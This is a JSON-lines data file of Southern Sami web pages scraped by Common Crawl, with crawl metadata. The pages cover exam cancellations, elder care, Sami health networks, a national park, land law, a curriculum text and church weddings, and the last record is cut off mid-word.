+{"text":"Preessebïevnese reerenasse\nDaan gïjren ij naanh njaalmeldh, njaalmeldh praktihkeles jïh praktihkeles eksaamenh jåarhkeskuvline sjïdth. Dæjstan maahtoedepartemente daate preessebïevnesisnie jeehti.\nIj naanh njaalmeldh eksaamenh sjïdth juktie fylhkh tjuerieh privaatisteksameenh tjïrrehtidh.\n-Mijjieh sïjhtebe eksaamenh tjïrrehtidh, goh mijjieh provhkebe, mohte fylhkh leah mijjese jeahteme tjoerebe prijoriteradidh. Vihkelommes learohkidie jåarhkeskuvline dah åadtjoeh eensilaakan elliesvïhnesjimmie jïh karakteerekåarhte, maahtoe- jih integreeringeministeere Guri Melby (G) preessebïevnesisnie jeahta.\nGaajhkh tjaaleldh eksaamenh jåarhkeskuvline jïh noereskuvline eah sjïdth gænnah. Daelie reerenasse aaj jeatjah eksaamenh gaptja. Dannasinie lohkehtæjjah maehtieh gaajhkh karakteerh minngemes ööhpehtimmievåhkoen bïejedh, maahtoedepartemente tjaala.","id":"","dump":"CC-MAIN-2020-24","url":"https:\/\/saernieh.no\/ij-naanh-njaalmeldh-eksaamenh-sjidth\/","date":"2020-06-02T22:58:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590347426956.82\/warc\/CC-MAIN-20200602224517-20200603014517-00582.warc.gz","language":"sma","language_score":1.0000042915,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000042915344238}","num_words":85,"character_repetition_ratio":0.09,"word_repetition_ratio":0.0,"special_characters_ratio":0.119,"stopwords_ratio":0.071,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jump to navigation\nTjaelemegaahtjeme maanide jïh noeride maadthskuvlesne jïh jåarhkeskuvlesne.\n-Akte, göökte jallh jienebh gïelh, maanaj guektiengïeleldh evtiedimmien bijre, uvtemes saemien gïelh\nUlmie dejnie biejjine daan jaepien, lea vuesiehtidh guktie ektiedimmie kvaliteetem maanagïertesne nænnoste.\nBiejjielåhkoe 2020\nDaan jaepien jåvlebiejjielåhkosne sïjhtebe fïerhten biejjien baakoeh jallh dïejvesh vuesiehtidh.\nSaemiedigkie orre baakoeh vihth jååhkesjamme. Baakoeh Elgåen termh-prosjekteste båetieh.\nSaemien lohkemejarnge gaajhkesidie haasta vielie saemiestidh. Dan gaavhtan mijjieh daan våhkoen fïerhten biejjien gïelestååkedimmiem\/darjomem dijjese raeriestibie. Gïelestååkedimmieh\/darjomh noerhte-, julev- jïh åarjelsaemiengïelesne.\nAajege, Gïelem nastedh, Gïeleaernie, Sijti Jarnge jïh Samiskt Språkcentrum åarjelsaemien\n© 2014 Centre for Sámi Language in Education - Sámi University College, all rights reserved\nDeveloped by: Ramsalt","id":"","dump":"CC-MAIN-2020-24","url":"http:\/\/lohkanguovddas.no\/sma\/news","date":"2020-05-29T22:27:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590347406785.66\/warc\/CC-MAIN-20200529214634-20200530004634-00582.warc.gz","language":"sma","language_score":0.9999722242,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999722242355347}","num_words":100,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.145,"stopwords_ratio":0.08,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Klicka på bilderna för ett större format.\nBuerie båeteme Sånellen voenese\nBuerie båeteme murreds Herjedaelien vaajmose – Sånvaerien maadtegisnie\nDaennie tjaebpies eatnamisnie dijjieh aktem jielije eatnemem gaavnede, aktem dajvem gusnie raeffie jïh sjaavede lea, bene buerie energijem mij gaajhkide vedtien mah diekie båetieh jïh raeffine voejngehtieh.\nSånvaerien Nasjonaale såafoesijjie\nHerjedaelien vaajmoem, aktem vaeriem åehpies jïh sjïere siluettine. Nasjonaale såafoesijjiem jaepiem 1909 sjïehtesji, aktem dejtie voestes såafoesijjijste Europesne, ihke dam aejhtije bïernem vaarjelidh jïh aaj vaerien ov-sontere burhviedajvem vaarjelidh. Jaepiem 1989 såafoesijjiem stuerebe sjïdti, 27 kvadratkilomeeteristie gosk 104 kvadratkilomeeterh vaarjelimmie eatnamasse guktie daelie. Seamma aejkesne aaj Nysïetere jïh Nyvaelliem goh eatnemereservaatem vaarjelin.\nSånvaerien gaejsiem Jollevaeresne 1278 meeterh bijjelen haavesne tjuedtjele. Joe Lillvaerien jolledahkesne, mij aelhkemes jaksen Nyvaellie sïeteren tjïrrh, dan guhkiem goh 1010 meeterh haaven bijjelen joe jakseme jïh gaajh tjaebpies beavnerem åtna.\nJielije histovrijh\nHedesne buerie båeteme sjïdtien akten 400 jaepien båeries gærhkose mij bæjjese bigkien mænngan våålese bualeme Baltzaredåarosne jaepien 1611, dah svïenske dåaroehkijstie mah Nöörjen Herjedaelesne naalin. Baltzaredåaroem aaj ïebnem vadteme akten gærjese, nïejtem Inger Grannesen bïjre mij ektine dah jeatjah almetjigujmie Hedenesne bæjjese Nöörjen vaeride baatarin. Inger Grannesen baalka annje vihties baalkam Hede jïh Östvaelliej gaskoeh mah dej voestes ulmie lij. Mijjen biehkiem Herjedaelien tjïrrh, Rombobaalkam vaadtsa, aktem dejstie gålkoelasj baalkijistie mij baalkaraejkien Nidaros katedraalese Tråantesne jåhta.\nHïejmevoenegaertienidie Hedesne jïh Vemdaelenisnie lægan giesien gaahpode ihke jovnesåhkoem heevehtidh, giesieprïhtjhgåetieh utnedh jïh histovrijen sijjieh daaletje tijjesne gaavnedh.\nHoksehtimmie\nMijjen dajvesne mijjieh maehtebe mijjen guesside aktem buerie hoksehtimmiem faaledh. Daesnie gååvnese veterinæære-stasjovne, healsoejarnge, guessiegåetiem, campinge, fealadæjjagåetie jïh bovrh gusnie stovlh, buertieh jj, ruevtieh jïh bigkijh, spïelh, eatneme jïh ålkoe-jielemem, plåamsterh jïh gaajh jienebe. Jis nåake vearelde maahtah njaelkies svarkeldahkem akten mijjen prïhtjhgåetine daajhtodh.\nSidinformation","id":"","dump":"CC-MAIN-2020-24","url":"https:\/\/kommun.herjedalen.se\/omkommunen\/kartor\/informationstavlorikommunen\/informationstavlasonfjallsbygden.4.72e78ea1157f6caac3220097.html","date":"2020-05-26T22:53:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590347391923.3\/warc\/CC-MAIN-20200526222359-20200527012359-00397.warc.gz","language":"sma","language_score":1.0000008345,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 1.0000008344650269}","num_words":265,"character_repetition_ratio":0.049,"word_repetition_ratio":0.0,"special_characters_ratio":0.145,"stopwords_ratio":0.079,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Privaateskuvlelaaken mietie dle learohkh reaktam utnieh sjïereööhpehtimmiem jïh pedagogeles-psykologeles dïenesjem åadtjodh. Oslo jïh Akershusen Fylhkenålma daam dïenesjem reerie, jïh Ööhpehtimmiedirektovraate lea klååkemesuerkie. PP-dïenesje ålkoelaantesne lea dovne maadthskuvlen jïh jåarhkeskuvlen learoehkidie.\nMaanah aarhskuvleaalterisnie eah laakeviedteldihkie reaktoem utnieh pedagogeles-psykologeles dïenesjem åadtjodh.\nOslo jïh Akershusen Fylhkenålman nedtesæjrojne vielie bïevnesh PP-dïenesjen bïjre ålkoelaantesne gaavnh.\nStipende jïh dåarjoeöörnegh studentide ålkoelaantesne\nMaahtah sjïere beetnehdåarjoem åadtjodh jåarhkeööhpehtæmman gellene lehkesne abpe veartenisnie. FIVAI (Vest-Agderen Fylhkenålma, Internasjonalisering) jienebh öörnegh utnieh mejtie Vest-Agderen Fylhkenålma reerie.\nMaahtah ööhpehtimmieh jïh dåarjoeöörnegh ohtsedh FIVAI'en tjïrrh saaht gusnie datne laantesne årroeh.","id":"","dump":"CC-MAIN-2020-24","url":"https:\/\/www.fylkesmannen.no\/sma\/Rogalaanten\/Maanagierte-jih-lierehtimmie\/Oohpehtimmie-alkoelaantesne\/","date":"2020-05-28T09:05:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590347398233.32\/warc\/CC-MAIN-20200528061845-20200528091845-00214.warc.gz","language":"sma","language_score":0.9999978542,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"sma_Latn_score\": 0.9999978542327881}","num_words":87,"character_repetition_ratio":0.087,"word_repetition_ratio":0.0,"special_characters_ratio":0.116,"stopwords_ratio":0.115,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Dåarjoe jïh såjhtoe voeresidie\nStöd och omsorg för äldre\nJis gåetesne årroeh maahtah daarpoepryövemen mænngan gåetietjeanadimmie åadtjodh. Gåetietjeanadimmie maahta voestes iereste datnem viehkine årrodh persovnijen såjhtoe. Maahta årrodh byömedidh jïh jovkedh, gåårvedidh jallh bissedidh. Aaj maahtah åadtjoeh faalaldahkh maam datne jearsoes gåetesne damtedh. Maahta v.g. larmem juktie datne dallegh maahtah viehkiem åadtjodh jis daarpesjh. Jis datnem lihkemes fuelhkieh sujhtieh maahta dïhte dåarjoem åadtjodh jallh giem akt båata jis dïhte ij maehtieh dov luvnie årrodh. Maahtah biejjiedarjomh ohtsedidh juktie aelhkebe gåetesne årrodh. Maahtah aaj ohtsedidh jis boelhketjeårromesijjiem daarpesjh. Datne gie jeenje såjhtoem daarpesjh jïh dutnjien geerve gåetesne årroeh maahtah årromesijjie sjïere årromesæjjan åadtjodh. Maahta hoksehtimmiegåetesne, tjïerteårromesijjesne jallh skiemtjehïejmesne årrodh.\nSosiaaletjeanadimmie aaj dåarjoem faala maam ij daarpoepryöveme lea. V.g. bïjre jarkan Upmejisnie gaavnedimmiesijjieh mah leah sijjieh gusnie voeresh båetieh jïh boelhketjem gaavnedieh.\nJeenjebh bïevnesh\nUpmejisnie årroeminie — sosiaaletjeanadimmien dåastovasse bieljeldh telefovne 090-16 10 02. Holmsundesne, Hörneforsesne jallh Sävarisnie årroeminie — tjïelten viekselasse ringkh 16 10 00, dov ierem tjïelkesh jïh gusnie årroeh dellie vijrebe riektes sæjjan beaja.\nSidan har granskats 2009-09-11","id":"","dump":"CC-MAIN-2020-24","url":"https:\/\/www.umea.se\/umeakommun\/fristaendesidor\/sprak\/languages\/samegielat\/sosiaalenhoksehtimmieh\/daarjoejihsajhtoevoeresidie.4.2aeb902411d30c9e460800061536.html","date":"2020-06-03T09:34:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590347432521.57\/warc\/CC-MAIN-20200603081823-20200603111823-00198.warc.gz","language":"sma","language_score":1.0000001192,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 1.0000001192092896}","num_words":160,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.155,"stopwords_ratio":0.075,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiedigkie vuajna daerpies saemien healsoebarkijh leah maereleslaakan årganiseradamme dovne nasjonaale jïh voenges sijjesne. Minngemes våhkoen Saemiedigkien stoerretjåanghkoe jeehti dagkerh faageviermieh tseegkedh byöroe saemien jarngedajvine prioriteradidh. Gosse faagebyjresh jïh viermieh tseegkesuvvieh saemien jarngedajvine, dellie seammavyörtegs healsoedïenesjefaalenassh sijhtieh saemien siebriedahken daerpiesvoeth våaroeminie utnedh.\n– Mijjieh vuejnebe dovne aalkoehealsoedïenesjen jïh sjïerehealsoedïenesjen leah stoerre haestemh gosse edtjieh seammavyörtegs healsoedïenesjh saemien årroejidie faalehtidh. Manne maaje vuajnam julevsaemien healsoeviermie tseegkesåvva daan tjaktjen, joekoen gosse tseegkemem orre Hábmeren tjïelteste måjhtele.Julevsaemien healsoebarkijh lin byöreme lïeredh destie maam åarjelsaemien dajvesne dorjeme jïh plearoeh viermiem darjodh, , saemiedigkieraearie Mikkel Eskil Mikkelsen jeahta.\nSaemiedigkie jïh Healsoe Noerhte aktine stuerebe evtiedimmieprosjektine barkeminie, mij edtja saemien nasjonaale healsoedïenesjh soejkesjidh. Akte vihkeles premisse prosjektesne lea saemien healsoebarkijh fååtesieh. Seamma tïjjen Hábmeren tjïelte tseegkesåvva, gusnie doh seamma haestemh sijhtieh sjyöhtehke årrodh.\nMikkelsen jeahta akte haesteme saemien healsoebarkijh fååtesieh, jïh dan åvteste tjuara hoksedh dejtie maereleslaakan jïh fleksijbelelaakan nuhtjedh.\n– Saemien healsoebarkijh tjuerieh jïjtjh meatan årrodh premisside dïsse bïejedh. Gosse prosesside måjhtele mej uvte dovne nasjonaale jïh voenges sijjesne tjåadtjobe, dellie julevsaemien healsoebarkijh lin byöreme viermiem tseegkedh mij maahta dåarjojne jïh premissedeallahtæjjine årrodh.\nMikkelsen jienebh struktuvrh jïh mierieh sijhtieh saemien healsoen sïjse jïh laavenjostose aavode julevsaemien healsoeviermine.","id":"","dump":"CC-MAIN-2020-24","url":"https:\/\/samimag.no\/sma\/saernieh-sma\/julevsaemien-healsoeviermiem-saejhta\/","date":"2020-06-01T12:05:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590347417746.33\/warc\/CC-MAIN-20200601113849-20200601143849-00293.warc.gz","language":"sma","language_score":0.9999935627,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9999935626983643}","num_words":188,"character_repetition_ratio":0.106,"word_repetition_ratio":0.0,"special_characters_ratio":0.118,"stopwords_ratio":0.138,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Faagen maadth maahtoeh\nVihkeles tjiehpiesvoeth lea meatan vaaltasovveme maahtoeulmine, gusnie dah akte bielie maahtoste jïh viehkiehtieh maahtoem faagesne evtiedidh. Guarka vihkeles tjiehpiesvoeth siebriedahkefaagesne naemhtie:\nNjaalmeldh tjiehpiesvoeth siebriedahkefaagesne sæjhta jiehtedh guarkedh, buerkiestidh, viertiestidh jïh analyjseradidh gaaltijh jïh dåeriesmoerh viehkine faaktah, teorijh, tjïertestimmieh jïh faagedïejvesh nuhtjedh håaleminie, åehpiedehteminie jïh mïelejiehtieginie. Njaalmeldh tjiehpiesvoeth lea aaj goltelidh, vuarjasjidh, vaestiedassem vedtedh jïh vijriesåbpoe soptsestidh mænngan mubpieh maam jeahteme. Evtiedimmie njaalmeldh tjiehpiesvoetijste siebriedahkefaagesne lea aelkedh goltelidh jïh mïelh buektedh aelhkie njaalmeldh tjaaleginie, goske maahta buerkiestidh jïjtse mïelh, jïh mubpide goltelidh faageles jearsoesvoetine. Njaalmeldh tjiehpiesvoeth siebriedahkefaagesne evtiesuvvieh aktene prosessesne mij aalka vaajestimmiejgujmie, daamtaj persovneles karakterine, jïh faagesjiehteles jïh faagesjïere åssjaldahkide evtiesåvva, gusnie ahkedh vielie argumentereden digkede jïh faagedïejvesh veelelaakan nuhtjie. Joekehts vuajnoeh guarkedh, maehtedh mubpiej vuajnoej guarkedh, jïh eensilaakan maehtedh jiehtedh satne ij leah sïemes jïh mubpiej vuajnoeh seahkaridh lea aaj akte bielie njaalmeldh tjiehpiesvoetijste.\nMaehtedh tjaeledh siebriedahkefaagesne lea maehtedh soptsestidh, buerkiestidh jïh mïelh argumenteradidh, jïh daajroem leerehtidh jïh daajroem tjaaleldh juekedh. Edtja aaj viertiestidh jïh digkiedidh fåantoeh, illedahkh jïh ektiedimmieh. Edtja aaj maehtedh aarvoeh vuarjasjidh gaaltijinie, hypoteesine jïh maalline, jïh maehtedh illedahkh siebriedahkefaageles goerehtimmijste tjaaleldh åehpiedehtedh. Maehtedh vuarjasjidh jïh gïetedidh jïjtsh tjaalegh lea aaj akte bielie tjiehpiesvoeteste. Evtiedimmie tjaelemetjiehpiesvoetijste siebriedahkefaagesne lea ånnetji ånnetji haarjanidh aelhkie faaktaraajesh jïh vihties gyhtjelassh hammoedidh, maehtedh tjaalegh vaajestidh jïh dejtie tjåanghkan giesedh, maehtedh dåeriesmoerh hammoedidh jïh digkeden tjaalegem struktuvreradidh viehkine gaaltijevuesiehtimmijste. Haarjanidh laejhtehks jïh jeereldihkie gaaltijeåtnoem nuhtjedh, jïh maehtedh tjïelkestamme konklusjovnh gaavnedh viehkine ahkedh jienebh faagedïejvesijstie jïh ahkedh vielie aamhtesi bïjre ussjedidh lea akte vihkeles bielie prosesseste.\nMaehtedh lohkedh siebriedahkefaagesne lea maehtedh goerehtidh, toelhkestidh jïh ussjedidh faageles tjaalegi bïjre, juktie jïjtse jïh mubpiej siebriedahkh, jeatjah tïjjh, sijjieh jïh almetjh guarkedh. Edtja aaj maehtedh gïetedidh jïh bïevnesh nuhtjedh guvvijste, filmijste, graafijste, tabellijstie jïh kaarhtijste, jïh bïevnesh ohtsedh vihties ulmine, gaaltijh laejhtehkslaakan vuarjasjidh jïh dejtie voerkeslaakan veeljedh jïh hiejhtedh. Evtiedimmie lohkemetjiehpiesvoetijste siebriedahkefaagesne sæjhta jiehtedh ånnetji ånnetji haarjanidh tjaalegh jïh visuelle vuesiehtimmieh guarkedh, dejtie toelhkestidh jïh vuarjasjidh, goske maahta strategijh evtiedidh juktie laejhtehkslaakan daajroem vejtiestidh. Lohkedh juktie bïevnesh veedtjedh, jïh laejhtehkslaakan gaaltijh lohkedh aalka gosse bïevnesh gaavna aelhkie sjïehteladteme gaaltijinie, jïh vuarjasjidh mejtie bïevnesh leah nuhteligs. Mænngan edtja haarjanidh sov jïjtsh bïevnesh ohtsedh, bïevnesh viertiestidh ovmessie gaaltijijstie jïh laejhtehkslaakan vuarjasjidh dej sjyöhtehkevoetem, saetniesvoetem jïh aajkoem.\nMaehtedh ryöknedh siebriedahkefaagesne lea veedtjedh, taaligujmie barkedh jïh taalide vuarjasjidh faageles aamhtesi bïjre, jïh dam tabelline, graafine jïh gaagkojne vuesiehtidh. Ryökneme siebriedahkefaagesne lea maehtedh nuhtjedh jïh viertiestidh, analyjseradidh jïh åehpiedehtedh statistihkeles taalematerijellem mij evtiedimmiem jïh jeerehtsem vuesehte. Maehtedh goerehtimmieh darjodh ryökneminie jïh siebriedahkefaageles daatabaash nuhtjedh jïh laejhtehkslaakan taalide toelhkestidh leah vihkeles. Edtja maehtedh möölegeståahkem nuhtjedh, tïjjine ryöknedh, jïh ryöknemem nuhtjedh juktie beetnehåtnoem jïh persovneles ekonomijem reeredh. Ryökneme-tjiehpiesvoetide ånnetji ånnetji leara, dehtie raejeste learohke aalka strategijh gaavnedh jïh haalvedh guktie edtja ryöknedh, klassifiseradidh, daatam nuhtjedh jïh daatah darjodh. Dïhte maehtelesvoete tjåanghkan giesedh, viertiestidh jïh toelhkestidh statistihkeles bïevnesh aaj evtiesåvva, jïh analyjseradidh, daatah laejhtehkslaakan nuhtjedh jïh daatide vuarjasjidh. Daatajgujmie barkedh mah evtiedimmiem jïh jeerehtsem vuesehte viehkine statistihkeles ulmijste lea vihkeles.\nDigitaale tjiehpiesvoeth siebriedahkefaagesne sæjhta jiehtedh digitaale vierhtieh nuhtjedh jïh nedtesijjieh goerehtidh, bïevnesh ohtsedh, laejhtehks årrodh gaaltijidie jïh sjyöhtehke bïevnesh veeljedh siebriedahkefaageles aamhtesi bïjre. Edtja aaj maehtedh digitaale åehpiedehteme- jïh laavenjostoedïrregh nuhtjedh juktie multimeedijaale dorjesh darjodh, åehpiedehtedh jïh bæjhkoehtidh. Digitaale tjiehpiesvoeth lea aaj maehtedh govlesadtedh jïh laavenjostedh digitaalelaakan siebriedahkefaageles aamhtesi bïjre, jïh njoelkedassi mietie nedtegovlesadtemasse dåemiedieh, daan nuelesne persovnevaarjelimmie jïh aalkoereakta. Evtiedimmie digitaale tjiehpiesvoetijste siebriedahkefaagesne sæjhta jiehtedh digitaale dïrregh jïh meedijh nuhtjedh juktie faageles daajroem vejtiestidh, jïjtse maahtoen bïjre soptsestidh, jïh faageles dïjrem nænnoestehtedh. Digitaale tjiehpiesvoeth siebriedahkefaagesne åådtje aktene prosessesne mij aalka gosse digitaale dïrregh nuhtjie, goske siebriedahkefaageles sisvegem gaavna jïh vaajeste. Vijriesåbpoe maehtelesvoetem åådtje jeereldihkie ohtsemevuekieh nuhtjedh, laejhtehkslaakan veeljedh jïh faageleslaakan ussjedidh.\nSide 4 Av 10","id":"","dump":"CC-MAIN-2020-29","url":"https:\/\/www.udir.no\/kl06\/SAF2-03\/Hele\/Grunnleggende_ferdigheter?lplang=http:\/\/data.udir.no\/kl06\/sma","date":"2020-07-10T03:35:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593655902496.52\/warc\/CC-MAIN-20200710015901-20200710045901-00057.warc.gz","language":"sma","language_score":1.0000082254,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.000008225440979}","num_words":593,"character_repetition_ratio":0.106,"word_repetition_ratio":0.0,"special_characters_ratio":0.12,"stopwords_ratio":0.175,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjaelije\nBertije\nVaadtasovvemejaepie\n2017\nFaage\nGiele\nISBN\n978-82-93402-23-7\nFormaate\nSïejhme gærja\nReakta-aajhtere\nReaktah\nGaajhkh reaktah leah doelehtovveme\nMennie bielesne\n28\nMaanagærja Biejjien nïejten bïjre, åarjelsaemiengïelesne.\nDennie saemien jaahkosne Biejjie dïhte åajvahkommes. Biejjie sov nïejtem saemiej gåajkoe seedti, juktie saemide leeredh guktie bovtsigujmie barkedh.\nAlits dan båeries sjïdteme, guktie bïegke daelie aelkieminie tjaebpies, tjeakoes vuelieh joejkestidh. Lïereminie hov aaj guktie edtja nåejtine sjïdtedh, mohte tjoevere aaj mïnnedh vijredh. Dellie biejjiennïejtem råaka, gie sutnjien vuesehte guktie edtja bovtsh deemedh.\nIngrid Jangaard Ousland guvvide guvviedamme jïh Maja Lisa Kappfjell gærjam åarjelsaemiengïelese jarkoestamme.","id":"","dump":"CC-MAIN-2020-29","url":"https:\/\/ovttas.no\/sma\/girji_biejjien-niejte","date":"2020-07-08T21:25:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593655897707.23\/warc\/CC-MAIN-20200708211828-20200709001828-00537.warc.gz","language":"sma","language_score":0.999994874,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 0.9999948740005493}","num_words":86,"character_repetition_ratio":0.042,"word_repetition_ratio":0.0,"special_characters_ratio":0.164,"stopwords_ratio":0.07,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Hilde Knudsen lea rektovre Röörosen jåarhkeskuvlesne, jïh voestes skuvlejaepie orre skuvlesne onnetje jeatjhlaakan orreme goh veanhtadi.\nKoronavijrusen gaavhtan Röörosen jåarhkeskuvle aaj tjoeri steegkedh, jïh lohkehtæjjah, learohkh jïh jeatjah barkijh skuvlesne tjoerin digitaale ööhpehtimmie nuhtjedh.\n-Lij joekoen rovnegs gaajhide skuvlh jïh maanajgïerth jijjen bïjjelen steegkedh. Dillie ussjedin – Mij daelie edtjebe darjodh? Manne garmeres juktie lohkehtæjjah, learohkh jïh jeatjah barkijh joekoen væjkeles orreme gåeteste barkedh jïh Skype:m nuhtjedh, rektovre Hilde Knudsen jeahta.\nJalhts digitaale skuvleaarkebiejjie evtiedimmiem viehkehte, Knudsen jeahta digitaale ööhpehtimmie ij leah seamma goh ööhpehtimmie skuvlesne, gusnie learohkh jïh lohkehtæjjah maehtieh buerebe gaskestalledh.","id":"","dump":"CC-MAIN-2020-29","url":"https:\/\/saernieh.no\/sjiere-skuvlejaepie\/","date":"2020-07-03T20:38:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593655882934.6\/warc\/CC-MAIN-20200703184459-20200703214459-00537.warc.gz","language":"sma","language_score":1.0000013113,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.000001311302185}","num_words":92,"character_repetition_ratio":0.088,"word_repetition_ratio":0.0,"special_characters_ratio":0.136,"stopwords_ratio":0.109,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gaavnh barkijem Ohtsemebaakoe Kategori Alle Jieleme-, kultuvre- jïh healsoegoevtese Reaktah jïh gaskenasjonaale goevtese Barkije Byjjenimmie- jïh lïerehtimmiegoevtese Direktöören staabe Gaskesadtemestaabe Gïelegoevtese Govlehtallijh dåarjoe Gærjagåetie Kultuvremojhtese-, areaale- jïh byjresegoevtese Reeremegoevtese Saemiedigkieraerie Stoerretjåanghkoestaabe Stoerretjåangkoeståvroe Ohtsh Vuesehth ohtsemefilterh Templates.Standard.PersonItemListPage.SortOrder Fornavn Etternavn Orresth ohtsemeilledahkem Skubph ohtsemefilterh B Berit Karen Paulsen Stilling Seniorráđđeaddi\/Seniorrådgiver Berit Sara Sara Buljo Stilling Raeriestæjja maadthlïerehtimmie Bjørg Njuolla Stilling Konsuleanta\/Konsulent Bjørn Berg Stilling Ráđđeaddi\/Rådgiver Brita Oskal Eira Stilling Ossodatdirektevra\/Avdelingsdirektør C Carl Erik Moksness Stilling Fágajođiheaddji\/Fagleder Cathrine Amundsen Myklevold Stilling Konsuleanta\/Konsulent Cecilie Samuelsen Fagerheim Stilling Seniorraeriestæjja Jieleme Christer P. Somby Stilling Ráđđeaddi\/Rådgiver E Elin Rose Myrvoll Stilling Faageåvtehke Gåetievaarjelimmie, sujhteme jïh kultuvre-eatneme Vuesehte 21-30 ållesth 173 personer, sæjroe 3 ållesth 18 Forrige 1 2 3 4 5 ... 17 18 Neste","id":"","dump":"CC-MAIN-2020-34","url":"https:\/\/sametinget.no\/gaavnh-barkijem\/?pageNumber=3","date":"2020-08-11T09:31:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439738746.41\/warc\/CC-MAIN-20200811090050-20200811120050-00480.warc.gz","language":"sma","language_score":0.6777129769,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.6777129769325256, \"sme_Latn_score\": 0.3192421793937683}","num_words":107,"character_repetition_ratio":0.065,"word_repetition_ratio":0.0,"special_characters_ratio":0.137,"stopwords_ratio":0.047,"flagged_words_ratio":0.0,"lang_id_score":0.92,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Konsesjovnelaake\nKonsesjovnelaaken åssjele lea dam aerpievuekien fuelhkielaanteburriem dåarjedidh, men laake aaj nuhteligs dejtie mah sijhtieh eekh evtiedidh orre jielemigujmie, jïh dejtie mah sijhtieh aktene gaertienisnie årrodh.\nÅrromedïedte\nAkte politihkeles ulmie almetjh abpe laantesne årroeminie, jïh dïhte gorresåvva gaskem jeatjah årromedïedten tjïrrh. Laaken mietie dle årromedïedtem åtna jis dïhte guhte odelem åtna jallh lïhke slïekte, aajhterinie sjædta aktede eekeste mij lea stuerebe goh 35 dekar ientjh, jallh 500 dekar skåajje. Maahta aaj årromedïedtem krïevedh aktene konsesjovneaamhtesisnie. Fïerhte tjïelte maahta aaj årromedïedtem krïevedh dejstie mah åestieh jallh gåetieh eerpieh gusnie maahta abpe jaepien årrodh.\nJåartelaake\nJåartalaake guvviem vuesehte dehtie laanteburriepolitihkeles ulmeste, mij lea arealevierhtide gorredidh jïh vierhtide tjåadtjoehtidh jïh eevtjedh fïerhtene gaertienisnie. Daate sæjhta jiehtedh dïhte guhte ientjem eekie, dïedtem åtna jåartam sjïdtedehtedh.\nTjïelte aamhtesh gïetede jïh sjæjsjele jåartalaaken jïh konsesjovnelaaken mietie, jïh Fylhkenålma lea klååkemesuerkie.","id":"","dump":"CC-MAIN-2020-34","url":"https:\/\/www.fylkesmannen.no\/sma\/Rogalaanten\/Laanteburrie-jih-beapmoe\/Laanteburrieeekh-jih-arromediedte\/","date":"2020-08-08T11:51:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439737645.2\/warc\/CC-MAIN-20200808110257-20200808140257-00160.warc.gz","language":"sma","language_score":1.0000041723,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"sma_Latn_score\": 1.0000041723251343}","num_words":132,"character_repetition_ratio":0.073,"word_repetition_ratio":0.0,"special_characters_ratio":0.137,"stopwords_ratio":0.136,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gærhkoehïeje\nBuerie båeteme dotnen gieriesvoetem heevehtidh jïh Sveerjen gærhkosne pruvredh. Gosse gærhkosne pruvreden hearra jïh gaajhkh hïejeguessieh dotnen provremassen åvteste rohkelieh provremassen-dååjvehtassi mænngan jïh buerie-sjugniedassine dotnen feelemasse seedtieh.\nAkte krïeveme jis åadtjoden gærhkosne pruvredh akte dåtnoste tjuara lïhtsege Sveerjen gærhkosne årrodh. Jis mubpie jeatjh gærhkosne jallh jaahkoem åtna ij leah heerreme gærhkoen provremassese. Sveerjen gærhkosne dovne homo- jïh heteroseksuellen paarrh provrenieh.\nGusnie?\nSïjhteden gærhkosne pruvredh, jaevriegaedtesne jallh jeatjah sijjesne? Gaskesadteden åålmegem gusnie sïjhteden pruvredh buerie astosne provren åvteli jïh dotnen vaajtelassi bïjre soptsestidien. Dah jeenjemes vietseles 